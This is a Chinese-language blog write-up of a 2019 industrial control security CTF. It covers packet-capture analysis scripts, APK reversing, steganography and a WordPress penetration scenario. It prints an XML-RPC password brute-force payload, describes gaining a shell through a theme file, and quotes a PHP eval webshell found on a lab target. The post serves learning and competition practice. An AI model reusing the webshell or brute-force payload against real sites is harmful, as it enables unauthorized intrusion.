2019 工业信息安全竞赛总结

本文最后更新于 2019.10.21,总计 21504 字 ,阅读本文大概需要 10 ~ 52 分钟
本文已超过 1648天 没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

0x00 前言

参加了今年的工控安全比赛,这个比赛分为线上赛(五场,每一场都可以参加,取最好成绩一场),线下复赛(前 60 名),线下决赛(复赛前三十名),我和两个同学组队,最后拿到了第三场线上第一,线下复赛第九,决赛第七名的成绩

借着九零举办活动的机会,写下此文(部分内容是两个同学做的写的内容)

0x01 第三场线上赛 WriteUp

0x02 简单的APK逆向

1.png

这是去年比赛的旧题修改了flag,解包apk得到multiprotocol.tesla.scada文件。反编译该文件通过对比正版软件,很容易得到flag(为混淆前的类名)。

2.png

0x03 窃取数据的黑客

观察是mms工控协议,使用以下脚本确定使用了哪些功能码以及次数:

#!/usr/bin/env python

import pyshark

captures = pyshark.FileCapture("tmflag.pcapng")
confirmed_services_request = {}
confirmed_services_response = {}
for capture in captures:
    for pkt in capture:
        if pkt.layer_name == "mms":
            if hasattr(pkt, "confirmedservicerequest"):
                service = pkt.confirmedservicerequest
                if service in confirmed_services_request:
                    confirmed_services_request[service] += 1
                else:
                     confirmed_services_request[service] = 1
            if hasattr(pkt, "confirmedserviceresponse"):
                service = pkt.confirmedserviceresponse
                if service in confirmed_services_response:
                    confirmed_services_response[service] += 1
                else:
                     confirmed_services_response[service] = 1
print(confirmed_services_request)
print(confirmed_services_response)

3.jpeg

使用的服务如下:

1 (getNameList)、4 (read)、5 (write)
6 (getVariableAccessAttributes)、12 (getNamedVariableListAttributes)
72 (fileOpen)、73 (fileRead)、74 (fileClose)、77 (fileDirectory)

观察到:

4.png

对 flag.7z文件进行了打开操作,猜测存在对应的fileRead(73)操作,使用以下脚本提取 flag.7z fileread 的内容:

import pyshark
import binascii
def flag():
    try:
        captures = pyshark.FileCapture("tmflag.pcapng")
        flag_frsm = False
        flag_frsm_id = None
        flag_read = False
        for capture in captures:
            for pkt in capture:
                if pkt.layer_name == "mms":
                    # file open
                    if hasattr(pkt, "confirmedservicerequest") and int(pkt.confirmedservicerequest) == 72:
                        if hasattr(pkt, "filename_item"):
                            filename_items = pkt.filename_item.fields
                            for f in filename_items:
                                file_name = str(f.get_default_value())
                                if file_name == "flag.7z":
                                    flag_frsm = True
                    if hasattr(pkt, "confirmedserviceresponse") and int(pkt.confirmedserviceresponse) == 72 and flag_frsm:
                        if hasattr(pkt, "frsmid"):
                            flag_frsm_id = pkt.frsmid
                        flag_frsm = False
                    if hasattr(pkt, "confirmedservicerequest") and int(pkt.confirmedservicerequest) == 73 and flag_frsm_id:
                        if hasattr(pkt, "fileread"):
                            if str(pkt.fileread) == str(flag_frsm_id):
                                flag_read = True
                        flag_frsm_id = None
                    if hasattr(pkt, "confirmedserviceresponse") and int(pkt.confirmedserviceresponse) == 73 and flag_read:
                        if hasattr(pkt, "filedata"):
                            data = str(pkt.filedata).replace(":", "")
                            hex2char(data)
                        flag_read = False
    except Exception as e:
        print(e)


def hex2char(data):
#    binascii.a2b_hex(hexstr) 
    output = binascii.unhexlify(data)
    print(output)

if __name__ == '__main__':
flag()

5.jpeg

即为 flag

0x04 Tesla工业APP分析

题目为TeslaMultiSCADA软件,版本号已经被修改,以免参赛者快速找到对应版本的正版app。同时对该apk和1.10.3版本的正版软件进行反编译对比,很快可以发现有一个apk被伪装成字体文件。发现该apk已经被加固保护,使用IDA或DexHunter等工具对其脱壳,反编译的java层代码如下图:

6.png

需要识别出java层的加密算法为base85,关键反编译代码如下:

7.png

java层要求我们输入一行字符串,进行base85算法编码后传入so层,将libnative-lib.so拖入IDA进行反汇编操作,从函数Java_bin_crack_easyandroid_MainActivity_stringFromJNI开始分析。

8.png

该函数并没有关键逻辑,值得提醒的是,so进行了字符串加密保护,选择手动逆向datadiv_decode10352206657073544814函数并解密字符串,或者直接动态调试apk。当apk运行起来后,字符串会自动解密,接下来重点关注sub_2E74函数。

9.png

该函数流程已经被高度混淆,可以有选择的对其调用的子函数进行断点跟踪(需要注意apk的断点扫描检测,发现断点会直接崩溃),根据动态调试的数据分析并识别出重点函数sub_1228(变异SM4算法ECB模式),sub_DA4(变异base91算法)。分析出SM4魔改的数据如下:

10.png

Base91魔改的数据如下:

11.png

至此了解了程序加密流程以及加密算法,但依然缺少SM4加密密钥和最终的密文,对apk进行res资源反混淆,发现如下图文件:

12.png

13.png

爆破解密脚本如下:

data = "D4E8E5A0EBE5F9A0E9F3A0D9EFF5F2E5DFF6E5F2F9DFF3EDE1F2F4ACC3E9F0E8E5F2F4E5F8F4A0E3EFEEF3E9F3F4F3A0EFE6A0F4E8F2E5E5A0F0E1F2F4F3ACC3EFEDE5A0EFEEA1".decode("hex")
for i in range(256):
    string = ''
    for j in data:
        string += chr(ord(j)-i)
    print string

14.png

得到key为“Youre_very_smart”,密文分为三部分,通过文件比对软件很容易找到三处位置为functions_fr.properties文件、smali/d/a/a/a/b/a;`smali/android/support/v7/internal/view/menu/ActionMenuItemView;`functions_fr.properties文件

15.png

看着像摩尔斯电码,其实是brainfuck,‘/‘对应’!‘,’-’对应’?‘。解密结果为

16.png

smali/d/a/a/a/b/a文件

17.png

看着像brainfuck,其实是摩尔斯电码,’!’对应-‘,’?’对应’/‘。解密结果(摩尔斯电码不分字母大小写,其实正确的结果为全部字母小写)为

18.png

smali/android/support/v7/internal/view/menu/ActionMenuItemView文件

19.png

看着像brainfuck,其实就是brainfuck,’!’对应?‘,’?’对应’!‘。解密结果为

20.png

接下来即使三部分密文的排列组合问题,必有一个字符串可以通过base91解密—>SM4解密-->base85解密得到正确flag(“Andr01dReMi3clsS0Ea5y!!! “)

0x05 flag在哪

使用 binwalk查看图片,发现存在隐藏的 ZIP 文件,再使用 foremost 分离出来:

21.png

得到一个 PNG 图片和压缩包:

22.png

打开压缩包发现存在另一张图片,且需要解压密码

观察另一张图片发现存在残缺的条形码图文:

23.png

使用 PS 工具将其修复完整:

24.jpeg

最终得到下图:

25.jpeg

发现熊猫的颜色颠倒过来,因此对图片进行反相处理:

26.png

扫描可得到字符串:This_n0t_fl4g

27.png

使用该字符串解压刚才的压缩包,得到3.jpg文件,使用 binwalk 查看依旧存在 ZIP 文件,于是继续分离出来:

28.png

29.png

最终得到两个一模一样的图片

使用Stegsolve工具进行图片对比:

30.jpeg

发现出现很多像素点,确定是像素隐写,保存该图片为:solved.bmp,发现和原图对比数据杂乱因此尝试使用像素隐写解密工具进行解密,GitHub 搜索尝试几个工具后,最终发现此工具可以成功解密:
https://github.com/HFO4/HideByPixel
得到 cmd5 数据

31.png

解密后即为 flag

0x06 协议分析又来了

从wireshark中发现是LSIS PLC的相关通信内容。在数据包中可观察到对plc的寄存器进行遍历读取,但中间会参杂一些其他的读取。以100为长度。

32.png

33.png

通过程序对相关数据进行筛选

34.png

对数据进行xor 0xFF还原并修整提取

35.png

使用dnspy对程序进行反编译,找到其中的资源mainwindow.baml
复制其中的Grid元素中的RadioButton的所有标签。

36.png

通过visual studio新建一个WPF工程,把上述内容贴入工程的xaml中即可见到flag

37.png

附:

        private void Btnreadfile_Click(object sender, EventArgs e)
        {
            byte[] read = new byte[9999];
            OpenFileDialog fileDialog = new OpenFileDialog();
            fileDialog.Multiselect = true;
            fileDialog.Title = "请选择文件";
            fileDialog.Filter = "所有文件|*.*"; //设置要选择的文件的类型
            if (fileDialog.ShowDialog() == DialogResult.OK)
            {
                string file = fileDialog.FileName;//返回文件的完整路径        

                PcapNGFileReader packetReader = new PcapNGFileReader(FileToStream(file));
                var packets= packetReader.ReadPackets();
                bool isRead = false;
                byte[] readbyte = new byte[65500];
                int iterCount = 100;
                foreach(var item in packets)
                {
                    var data = item.Payload.ToArray();
                    //读取数据
                    if (isRead)
                    {
                        for(int j = 99; j >= 0; j--)
                        {
                            int sub = 99 - j;
                            readbyte[iterCount + j] = (byte)(data[data.Length-sub-1]);

                        }
                        iterCount += 100;
                        isRead = false;
                    }
                    //处理是否读取保存下一个包
                    if (data.Length > 91&&data.Length<95 && data[data.Length - 4] == 0x30 && data[data.Length - 3] == 0x30 && data[data.Length - 2] == 0x64 && data[data.Length - 1] == 0x00)
                    {
                        isRead = true;
                    }
                    else
                    {
                        isRead = false;
                    }

                }

                int endloc = 100;
                int count = 1000;
                for (int i = 100; i < 65500; i++)
                {
                    if (readbyte[i] == 0)
                    {
                        endloc = i;
                        count--;
                        if (count == 0)
                        {
                            break;
                        }
                    }
                    else
                    {
                        count = 1000;
                        endloc = 100;
                    }
                }
                byte[] getval = new byte[endloc - 1100];
                for (int i = 0; i < getval.Length; i++)
                {
                    getval[i] = (byte)(readbyte[i + 100] ^ 0xFF);
                }

                StreamToFile(BytesToStream(getval), file + ".exe");
            }
        }

        /// <summary>
        /// byte[]转换成Stream
        /// </summary>
        /// <param name="bytes"></param>
        /// <returns></returns>
        public Stream BytesToStream(byte[] bytes)
        {
            Stream stream = new MemoryStream(bytes);
            return stream;
        }

        /// <summary>
        /// Stream转换成byte[]
        /// </summary>
        /// <param name="stream"></param>
        /// <returns></returns>
        public byte[] StreamToBytes(Stream stream)
        {
            byte[] bytes = new byte[stream.Length];
            stream.Read(bytes, 0, bytes.Length);
            stream.Seek(0, SeekOrigin.Begin); // 设置当前流的位置为流的开始
            return bytes;
        }

        /// <summary>
        /// 从文件读取Stream
        /// </summary>
        /// <param name="path"></param>
        /// <returns></returns>
        public Stream FileToStream(string path)
        {
            FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read); // 打开文件
            byte[] bytes = new byte[fileStream.Length]; // 读取文件的byte[]
            fileStream.Read(bytes, 0, bytes.Length);
            fileStream.Close();
            Stream stream = new MemoryStream(bytes); // 把byte[]转换成Stream
            return stream;
        }

        /// <summary>
        /// 将Stream写入文件
        /// </summary>
        /// <param name="stream"></param>
        /// <param name="path"></param>
        public void StreamToFile(Stream stream, string path)
        {
            byte[] bytes = new byte[stream.Length]; // 把Stream转换成byte[]
            stream.Read(bytes, 0, bytes.Length);
            stream.Seek(0, SeekOrigin.Begin); // 设置当前流的位置为流的开始
            FileStream fs = new FileStream(path, FileMode.Create); // 把byte[]写入文件
            BinaryWriter bw = new BinaryWriter(fs);
            bw.Write(bytes);
            bw.Close();
            fs.Close();
        }

0x07 西门子DOS攻击事件

使用IDA反汇编题目文件,发现可疑字符串crash,共两处引用

38.png

从该文件无法得到题目要求的UDP数据流

39.png

留意到此处代码,确定题目文件为Industroyer工控恶意软件Launcher模块。而其中的udp包发生在利用DOS攻击漏洞CVE-2015-5374阶段,从而得到最终答案。

40.png

0x08 黑客的大意

41.png

从图片中可见 WATCHIN YUR SCREENZ的字样,在github中搜索可知图来源于gcat这个程序。

42.png

任意点进一个,找到里面的gcat.py可见:

43.png

Flag就是: gcat.is.the.shit@gmail.com

0x08 智能变电站设备异常诊断

一眼看出题目将ZIP文件头前四个字节倒序了,翻转过来即可解压

44.png

得到dcs.dcs文件

45.png

这其实是凯默scd分析软件的kscd文件,文件头还加了两字节垃圾数据。出题人将所有的00都修改为了20,导致文件无法被凯默scd软件正常解析,因此只能从字符串中寻找规律。

46.png

然后纯粹靠眼力,使用正则表达式将其筛选出来,得到flag

0x09 神奇的数据

使用搜索引擎搜了下ETHER没搜出什么有价值的信息,看见一堆ACSII码,不管这么多,先来一发ASCII变成标准字符.

47.jpeg

逻辑为提取|0开始的行,然后把后面的ASCII转换为标准的byte。
然后看了下,这包很像MMS的数据包。

48.jpeg

联想到第2题。根据MMS的协议规则,有效的数据包都是成对出现的:

49.png

而且在其中找到了flag字样,因此把flag转换为66|6c|61|67|

50.png

在原始的stream.exe中搜索可见

51.png

直接把71769这行flag后面那一节通过转换工具查看

52.png

复制出来可以看到:

flag¡? :
PL1012{ROT
PL1012CTRL    PL1012LD0
PL1012MEAS    PL1012RC}

看了下结构,然后猜了下,flag就是:ROTCTRLLD0MEASRC

0x10 异常的S7数据

下载题目所给的flag.pcapng,发现有57万个包,还是蛮多的。

53.png

在过滤器中输入s7comm

54.png

过滤后数量没什么变化,还是57万多个

55.png

然后观察包内容,使用过滤语句

s7comm.header.rosctr == 3 & s7comm.data.returncode == 0xff

发现包数量为288305

56.png

然后加上初始化通信的包,刚好占一半,说明所有发送都是成功接收的。

57.png

因此就不需要看Ack_Data。使用s7comm.header.rosctr == 1过滤语句,查看ROSCTR为Job的Write Var的数据包,发现写的数据长度均为10。基于这些信息,开始进入写代码筛选阶段。

58.jpeg

编写了下面的筛选代码:对所有长度113的包进行过滤,最开始走了不少弯路,以为是把后面变化的字节过滤出来,进行合并,然后还原flag的。

59.png

从过滤出来的数据中还真看到和flag字样有关的信息,在这浪费了不少时间。

60.jpeg

没看出个所以然后,突然灵光一现,是不是前面的0xffff会有不同的呢,于是写了下面的代码:

61.png

经过验证,只有一个包符合这个条件。

62.png

63.png

于是flag为ffad28a0ce69db34751f

0x11 工业网络渗透测试(场景题目)

题目给了提示,目标所在网段为 172.16.1.0/24,通过快速扫描存活主机,确认 172.16.1.2存活,开放端口为 80,访问可知是一个 WordPress 搭建的站点,使用wpscan扫描可以得到以下信息:

64.jpeg

使用的插件没有什么存在可以利用的高危漏洞,但是发现了robots.txt文件以及xmlrpc.php文件,访问 robots:

65.png

下载后,打开/wordpress/flag_dict_dict_di.txt文件,发现是一个字典,但是字典很大,大概300W+的数据:

66.png

观察字典后发现,存在大量重复数据,每一个密文大概重复了 300+次,因此剔除重复文件,最终数据大概 1w+数据:

67.png

到现在思路已经很清楚了,利用这些字典,去爆破出管理员密码,然后后台拿shell,提权,找到 flag
使用 wpscan 确定用户名:

68.jpeg

结合xmlrpc.php的爆破漏洞,payload 如下

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
   <param><value>Wikia</value></param>
   <param><value>Random</value></param>
  </params>
</methodCall>

使用 burpsuite 找到 flag:

69.jpeg

最终确定密码为:DDE-JIJIJawww9999

登陆后在 404文件拿到shell

Whoami 信息是普通用户 abc,abc 的目录下找到flag.txt.txt文件,打开发现:

70.png

然后看了下 systeminfo 的信息:

71.png

尝试各种提权方法,始终无法上传文件:

72.png

后来测试发现,新建文件是没有任何问题的

73.png

但是新建文件写入内容不能超过 350 行,大概1 K 左右的数据,超过这个大小就会失败。

后来尝试分块传输,但是传到后目录上运行后各种没权限,遂打算尝udf提取,读取到数据库密码为:

74.png

尝试远程登录,账号administrator,密码 Jnds2019!@,登录成功

75.png

搜索到 flag,

76.png

打开文件为flag={!@#$%Jnds2019&*--}

0x12 线下复赛

线下复赛分为两天,第一天是 CTF + 加固报告 + 情景题,第二题是真实工控设备挖掘

Day 1

共 15 题,名称如下

  • 1.网络异常分析
  • 2.系统异常分析
  • 3.Web应用异常分析
  • 4.工控异常分析
  • 5.组态异常分析
  • 6.网络异常修复
  • 7.Web应用应急修复
  • 8.系统应急修复
  • 9.工控应急修复
  • 10.威胁情报收集
  • 11.逆向分析溯源
  • 12.网络安全加固
  • 13.系统安全加固
  • 14.应用安全加固
  • 15.工控安全加固

具体题目没有,比赛都是远程连接靶机,两台,一台 XP,一台 WIN7,XP 上放着工控组态软件,WIN7 上主要是 Web

这里说下 Web 应用异常分析的WP

web 的目录如下:

77.png

在/WWW/Conf/Role/目录下,发现了webshell.php
内容如下:

<?php @eval($_POST['chopper']);?>
//1019711512111910198115104101108108

1019711512111910198115104101108108划分为

101 97 115 121 119 101 98 115 104 101 108 108

ASCII转换得到结果

78.png

只有前 5 题是提交 flag(比较菜,只找到一个),后来赛后听师傅说,第二题系统异常分析是在 XP 下,开启资源管理器,flag 不是文件,dir 也看不到,但是名字就是 flag,运行后是打开 ie 的设置,然后就可以看到 flag

第五题以后,就是写报告了,各种报告orz~ 写的头都晕了,其中一份报告写了 3000 字(队友tql)

然后就是情景题,情景题对于懂工控的来说,应该不难,只需要将工控设备,如下图:

79.jpeg

80.jpeg

81.jpeg

恢复正常运行状态即可,我们没接触过这类真实/模拟工控设备,因此没有达到目标

Day 2

第二题我们零分……所以说下比赛的形式就可以了

就是随机抽一个设备,我们抽到的是mitsubishi melsec iq-r
就是这玩意

82.jpeg

没有 web 界面,开放了两个端口 21 和 5007 端口,使用GX Works3连接后,尝试挖掘漏洞无果……
后来水了 4 个漏洞,包括协议包数据重放导致重启暂停漏洞、拒绝式服务攻击漏洞等,最终判定有效漏洞为 0(哭辽~)

0x13 决赛

决赛只有一天,主要形式是模拟真实设备攻防 ,每个队伍选择一个工控设备,然后有一个小时时间加固,守护。一个小时过后,可以向任何目标发起攻击,得分方式有两种。

第一种,攻击目标守护的工控设备,达到攻击效果,即可加两百分,被攻击的,减去 100 分
第二种,渗透目标主机或工控设备,在目标上插入不同类型的旗帜,即可加 10 分

规则大致是这样,这里也没啥好说的,基本上是通过 MS17-010打入一些主机后,插入旗帜,攻击工控设备,达到攻击效果等

0x14 总结

总的来说,这次的比赛还是很有收获,包括对一些协议的了解,工控设备的认知等,欢迎对工控安全有兴趣的小伙伴一起交流~

「感谢老板送来的软糖/蛋糕/布丁/牛奶/冰阔乐!」

panda

(๑>ڡ<)☆谢谢老板~

使用微信扫描二维码打赏

版权属于:

panda | 热爱安全的理想少年

本文链接:

https://cnpanda.net/ctf/415.html(转载时请注明本文出处及文章链接)

暂时无法评论哦~

仅有一条评论
  1. 67626d 访客

    帅哥有没有题啊,只有wp找不到原题啊

    |